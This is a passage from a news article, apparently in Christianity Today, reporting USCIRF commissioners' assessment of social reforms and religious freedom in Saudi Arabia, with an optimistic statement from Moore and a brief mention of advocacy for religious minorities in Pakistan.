Some of the reforms are obvious already. “I saw women driving, some guardianship rules being rolled back, and women and men increasingly mixing in public venues, including at a Cirque du Soleil concert in Riyadh,” Commissioner Maenza said in a press release.

“The question we continue to assess is whether this opening is extending to other parts of the country and the degree to which these reforms are impacting freedom of religion or belief in a country that still—for instance—officially bans public worship unless it is the state-sanctioned practice of Islam.”

Moore, for one, is hopeful. He wrote to CT days after the trip:


I am optimistic for a Saudi Arabia where Muslims, Christians and others can freely and openly worship, living as neighbors, their children as friends with no fear of one another and, in fact, great joy from knowing one another.

I’m praying for a day when I can travel to Saudi Arabia to proudly and publicly celebrate Christmas or Easter on a peninsula whose Islamic faith and culture owes, by its own admission, a great debt to “people of the book,” which preceded it.

For the first time in my life, and in my advocacy for religious freedom, I believe this could be possible and maybe even sooner than we expect. I am also realistic about the challenges involved, but—so far—I do believe they are sincere in their ambitions to moderate and modernize.

Over the summer, USCIRF commissioners also spoke out on behalf of religious minorities in Pakistan, including Ahmadi Muslims and Christians, pledging to prioritize religious freedom and promote peace in that region as well.





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